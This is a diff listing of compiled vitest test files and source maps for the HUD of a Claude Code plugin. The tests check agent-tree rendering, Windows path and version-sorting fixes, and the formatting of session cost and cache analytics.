const agents = [
{
...createAgent('oh-my-claudecode:architect', 'opus'),
description: 'analyzing code',
},
];
const result = renderAgentsMultiLine(agents);
expect(result.headerPart).toContain('agents:');
expect(result.headerPart).toContain('1');
expect(result.detailLines).toHaveLength(1);
// Single agent should use └─ (last indicator)
expect(result.detailLines[0]).toContain('└─');
expect(result.detailLines[0]).toContain('A');
expect(result.detailLines[0]).toContain('analyzing code');
});
it('should render multiple agents with correct tree characters', () => {
const agents = [
{
...createAgent('oh-my-claudecode:architect', 'opus'),
description: 'analyzing code',
},
{
...createAgent('oh-my-claudecode:explore', 'haiku'),
description: 'searching files',
},
];
const result = renderAgentsMultiLine(agents);
expect(result.headerPart).toContain('2');
expect(result.detailLines).toHaveLength(2);
// First agent uses ├─
expect(result.detailLines[0]).toContain('├─');
expect(result.detailLines[0]).toContain('A');
// Last agent uses └─
expect(result.detailLines[1]).toContain('└─');
expect(result.detailLines[1]).toContain('e');
});
it('should limit to maxLines and show overflow indicator', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus'),
createAgent('oh-my-claudecode:explore', 'haiku'),
createAgent('oh-my-claudecode:executor', 'sonnet'),
createAgent('oh-my-claudecode:researcher', 'haiku'),
];
const result = renderAgentsMultiLine(agents, 2);
// 2 agents + 1 overflow indicator
expect(result.detailLines).toHaveLength(3);
expect(result.detailLines[2]).toContain('+2 more');
});
it('should include duration for long-running agents', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(Date.now() - 120000) // 2 minutes ago
),
];
const result = renderAgentsMultiLine(agents);
expect(result.detailLines).toHaveLength(1);
expect(result.detailLines[0]).toContain('2m');
});
it('should truncate long descriptions', () => {
const agents = [
{
...createAgent('oh-my-claudecode:architect', 'opus'),
description: 'This is a very long description that should be truncated to fit in the display',
},
];
const result = renderAgentsMultiLine(agents);
expect(result.detailLines).toHaveLength(1);
expect(result.detailLines[0]).toContain('...');
// Strip ANSI codes before checking length
const stripped = result.detailLines[0].replace(/\x1b\[[0-9;]*m/g, '');
expect(stripped.length).toBeLessThan(80);
});
it('should handle agents without descriptions', () => {
const agents = [createAgent('oh-my-claudecode:architect', 'opus')];
const result = renderAgentsMultiLine(agents);
expect(result.detailLines).toHaveLength(1);
expect(result.detailLines[0]).toContain('...');
});
it('should route to multiline from renderAgentsByFormat', () => {
const agents = [createAgent('oh-my-claudecode:architect', 'opus')];
const result = renderAgentsByFormat(agents, 'multiline');
// Should return the header part only (backward compatibility)
expect(result).toContain('agents:');
expect(result).toContain('1');
});
});
});
//# sourceMappingURL=hud-agents.test.js.map

1
dist/__tests__/hud-agents.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/hud-windows.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=hud-windows.test.d.ts.map

1
dist/__tests__/hud-windows.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"hud-windows.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/hud-windows.test.ts"],"names":[],"mappings":""}

95
dist/__tests__/hud-windows.test.js generated vendored Normal file
View File

@@ -0,0 +1,95 @@
import { describe, it, expect } from 'vitest';
import { readFileSync, existsSync } from 'fs';
import { join, dirname } from 'path';
import { fileURLToPath, pathToFileURL } from 'url';
/**
* HUD Windows Compatibility Tests
*
* These tests verify Windows compatibility fixes for HUD:
* - File naming (omc-hud.mjs)
* - Windows dynamic import() requires file:// URLs (pathToFileURL)
* - Version sorting (numeric vs lexicographic)
*
* Related: GitHub Issue #138, PR #139, PR #140
*/
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
const packageRoot = join(__dirname, '..', '..');
describe('HUD Windows Compatibility', () => {
describe('File Naming', () => {
it('session-start.mjs should reference omc-hud.mjs', () => {
const sessionStartPath = join(packageRoot, 'scripts', 'session-start.mjs');
expect(existsSync(sessionStartPath)).toBe(true);
const content = readFileSync(sessionStartPath, 'utf-8');
expect(content).toContain('omc-hud.mjs');
// Note: May also contain 'sisyphus-hud.mjs' for backward compatibility (dual naming)
});
it('installer should create omc-hud.mjs', () => {
const installerPath = join(packageRoot, 'src', 'installer', 'index.ts');
expect(existsSync(installerPath)).toBe(true);
const content = readFileSync(installerPath, 'utf-8');
expect(content).toContain('omc-hud.mjs');
// Note: May also contain 'sisyphus-hud.mjs' for legacy support
});
});
describe('pathToFileURL for Dynamic Import', () => {
it('installer HUD script should import pathToFileURL', () => {
const installerPath = join(packageRoot, 'src', 'installer', 'index.ts');
const content = readFileSync(installerPath, 'utf-8');
// Should have pathToFileURL import in the generated script
expect(content).toContain('import { pathToFileURL } from "node:url"');
});
it('installer HUD script should use pathToFileURL for dev path import', () => {
const installerPath = join(packageRoot, 'src', 'installer', 'index.ts');
const content = readFileSync(installerPath, 'utf-8');
// Should use pathToFileURL for devPath
expect(content).toContain('pathToFileURL(devPath).href');
});
it('installer HUD script should use pathToFileURL for plugin path import', () => {
const installerPath = join(packageRoot, 'src', 'installer', 'index.ts');
const content = readFileSync(installerPath, 'utf-8');
// Should use pathToFileURL for pluginPath
expect(content).toContain('pathToFileURL(pluginPath).href');
});
it('pathToFileURL should correctly convert Unix paths', () => {
const unixPath = '/home/user/test.js';
expect(pathToFileURL(unixPath).href).toBe(process.platform === 'win32'
? 'file:///C:/home/user/test.js'
: 'file:///home/user/test.js');
});
it('pathToFileURL should encode spaces in paths', () => {
const spacePath = '/path/with spaces/file.js';
expect(pathToFileURL(spacePath).href).toBe(process.platform === 'win32'
? 'file:///C:/path/with%20spaces/file.js'
: 'file:///path/with%20spaces/file.js');
});
});
describe('Numeric Version Sorting', () => {
it('installer HUD script should use numeric version sorting', () => {
const installerPath = join(packageRoot, 'src', 'installer', 'index.ts');
const content = readFileSync(installerPath, 'utf-8');
// Should use localeCompare with numeric option
expect(content).toContain('localeCompare(b, undefined, { numeric: true })');
});
it('numeric sort should correctly order versions', () => {
const versions = ['3.5.0', '3.10.0', '3.9.0'];
// Incorrect lexicographic sort
const lexSorted = [...versions].sort().reverse();
expect(lexSorted[0]).toBe('3.9.0'); // Wrong! 9 > 1 lexicographically
// Correct numeric sort
const numSorted = [...versions].sort((a, b) => a.localeCompare(b, undefined, { numeric: true })).reverse();
expect(numSorted[0]).toBe('3.10.0'); // Correct! 10 > 9 > 5 numerically
});
it('should handle single-digit and double-digit versions', () => {
const versions = ['1.0.0', '10.0.0', '2.0.0', '9.0.0'];
const sorted = [...versions].sort((a, b) => a.localeCompare(b, undefined, { numeric: true })).reverse();
expect(sorted).toEqual(['10.0.0', '9.0.0', '2.0.0', '1.0.0']);
});
it('should handle patch version comparison', () => {
const versions = ['1.0.1', '1.0.10', '1.0.9', '1.0.2'];
const sorted = [...versions].sort((a, b) => a.localeCompare(b, undefined, { numeric: true })).reverse();
expect(sorted).toEqual(['1.0.10', '1.0.9', '1.0.2', '1.0.1']);
});
});
});
//# sourceMappingURL=hud-windows.test.js.map

1
dist/__tests__/hud-windows.test.js.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"hud-windows.test.js","sourceRoot":"","sources":["../../src/__tests__/hud-windows.test.ts"],"names":[],"mappings":"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"}

2
dist/__tests__/hud/analytics-display.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=analytics-display.test.d.ts.map

1
dist/__tests__/hud/analytics-display.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"analytics-display.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/hud/analytics-display.test.ts"],"names":[],"mappings":""}

236
dist/__tests__/hud/analytics-display.test.js generated vendored Normal file
View File

@@ -0,0 +1,236 @@
import { describe, it, expect } from 'vitest';
import { renderSessionHealthAnalytics, renderAnalyticsLineWithConfig, getSessionHealthAnalyticsData, } from '../../hud/analytics-display.js';
describe('renderSessionHealthAnalytics', () => {
const baseHealth = {
durationMinutes: 5,
messageCount: 0,
health: 'healthy',
sessionCost: 0,
totalTokens: 0,
cacheHitRate: 0,
costPerHour: 0,
isEstimated: false,
};
it('renders with sessionCost = 0 (should NOT return empty)', () => {
const result = renderSessionHealthAnalytics({ ...baseHealth, sessionCost: 0 });
expect(result).not.toBe('');
expect(result).toContain('$0.0000');
});
it('renders with non-zero analytics', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
sessionCost: 1.2345,
totalTokens: 50000,
cacheHitRate: 45.6,
costPerHour: 2.50,
});
expect(result).toContain('$1.2345');
expect(result).toContain('50.0k');
expect(result).toContain('45.6%');
expect(result).toContain('| $2.50/h');
});
it('renders with estimated prefix when isEstimated is true', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
sessionCost: 0.5,
isEstimated: true,
});
expect(result).toContain('~$0.5000');
});
it('renders correct health indicator for healthy', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
health: 'healthy',
sessionCost: 0.1,
});
expect(result).toContain('\u{1F7E2}'); // green circle
});
it('renders correct health indicator for warning', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
health: 'warning',
sessionCost: 2.5,
});
expect(result).toContain('\u{1F7E1}'); // yellow circle
});
it('renders correct health indicator for critical', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
health: 'critical',
sessionCost: 6.0,
});
expect(result).toContain('\u{1F534}'); // red circle
});
it('handles undefined totalTokens gracefully (fallback to 0)', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
sessionCost: 1.0,
totalTokens: undefined,
});
// Should not throw and should contain some token value
expect(result).toBeDefined();
expect(result).toContain('0');
});
it('handles undefined cacheHitRate gracefully (fallback to 0.0)', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
sessionCost: 1.0,
cacheHitRate: undefined,
});
// Should not throw and should contain cache percentage
expect(result).toBeDefined();
expect(result).toContain('0.0%');
});
it('handles large token counts with K suffix', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
sessionCost: 0.5,
totalTokens: 125000,
});
expect(result).toContain('125.0k');
});
it('handles very large token counts with M suffix', () => {
const result = renderSessionHealthAnalytics({
...baseHealth,
sessionCost: 5.0,
totalTokens: 2500000,
});
expect(result).toContain('2.50M');
});
});
describe('renderAnalyticsLineWithConfig', () => {
const baseAnalytics = {
sessionCost: '$1.2345',
sessionTokens: '50.0k',
topAgents: 'executor:$0.80 architect:$0.30',
cacheEfficiency: '45.6%',
costColor: 'green',
};
describe('showCost=true, showCache=true (default)', () => {
it('renders all elements', () => {
const result = renderAnalyticsLineWithConfig(baseAnalytics, true, true);
expect(result).toContain('Cost: $1.2345');
expect(result).toContain('Cache: 45.6%');
expect(result).toContain('Top: executor:$0.80 architect:$0.30');
});
it('shows green indicator for green costColor', () => {
const result = renderAnalyticsLineWithConfig({ ...baseAnalytics, costColor: 'green' }, true, true);
expect(result).toContain('🟢');
});
it('shows yellow indicator for yellow costColor', () => {
const result = renderAnalyticsLineWithConfig({ ...baseAnalytics, costColor: 'yellow' }, true, true);
expect(result).toContain('🟡');
});
it('shows red indicator for red costColor', () => {
const result = renderAnalyticsLineWithConfig({ ...baseAnalytics, costColor: 'red' }, true, true);
expect(result).toContain('🔴');
});
it('handles empty topAgents gracefully', () => {
const result = renderAnalyticsLineWithConfig({ ...baseAnalytics, topAgents: 'none' }, true, true);
expect(result).toContain('Top: none');
});
});
describe('showCost=false, showCache=true', () => {
it('hides cost but shows cache', () => {
const result = renderAnalyticsLineWithConfig(baseAnalytics, false, true);
expect(result).not.toContain('Cost:');
expect(result).toContain('Cache: 45.6%');
expect(result).toContain('Top:');
});
});
describe('showCost=true, showCache=false', () => {
it('shows cost but hides cache', () => {
const result = renderAnalyticsLineWithConfig(baseAnalytics, true, false);
expect(result).toContain('Cost: $1.2345');
expect(result).not.toContain('Cache:');
expect(result).toContain('Top:');
});
});
describe('showCost=false, showCache=false (minimal)', () => {
it('shows only top agents', () => {
const result = renderAnalyticsLineWithConfig(baseAnalytics, false, false);
expect(result).not.toContain('Cost:');
expect(result).not.toContain('Cache:');
expect(result).toContain('Top:');
});
it('formats without pipe separators when minimal', () => {
const result = renderAnalyticsLineWithConfig(baseAnalytics, false, false);
expect(result).toBe('Top: executor:$0.80 architect:$0.30');
});
});
});
describe('getSessionHealthAnalyticsData', () => {
const baseHealth = {
durationMinutes: 5,
messageCount: 0,
health: 'healthy',
sessionCost: 0,
totalTokens: 0,
cacheHitRate: 0,
costPerHour: 0,
isEstimated: false,
};
describe('cost indicator', () => {
it('returns green for healthy', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, health: 'healthy' });
expect(data.costIndicator).toBe('🟢');
});
it('returns yellow for warning', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, health: 'warning' });
expect(data.costIndicator).toBe('🟡');
});
it('returns red for critical', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, health: 'critical' });
expect(data.costIndicator).toBe('🔴');
});
});
describe('cost formatting', () => {
it('formats with 4 decimal places', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, sessionCost: 1.2345 });
expect(data.cost).toBe('$1.2345');
});
it('adds estimated prefix when isEstimated', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, sessionCost: 0.5, isEstimated: true });
expect(data.cost).toBe('~$0.5000');
});
it('handles undefined as 0', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, sessionCost: undefined });
expect(data.cost).toBe('$0.0000');
});
});
describe('token formatting', () => {
it('formats small counts without suffix', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, totalTokens: 999 });
expect(data.tokens).toBe('999');
});
it('formats thousands with k suffix', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, totalTokens: 50000 });
expect(data.tokens).toBe('50.0k');
});
it('formats millions with M suffix', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, totalTokens: 2500000 });
expect(data.tokens).toBe('2.50M');
});
});
describe('cache formatting', () => {
it('formats with 1 decimal and percent', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, cacheHitRate: 45.67 });
expect(data.cache).toBe('45.7%');
});
it('handles undefined as 0', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, cacheHitRate: undefined });
expect(data.cache).toBe('0.0%');
});
});
describe('cost per hour', () => {
it('formats with dollar and /h suffix', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, costPerHour: 2.5 });
expect(data.costHour).toBe('$2.50/h');
});
it('returns empty when undefined', () => {
const data = getSessionHealthAnalyticsData({ ...baseHealth, costPerHour: undefined });
expect(data.costHour).toBe('');
});
});
});
//# sourceMappingURL=analytics-display.test.js.map

1
dist/__tests__/hud/analytics-display.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/hud/cwd.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=cwd.test.d.ts.map

Some files were not shown because too many files have changed in this diff Show More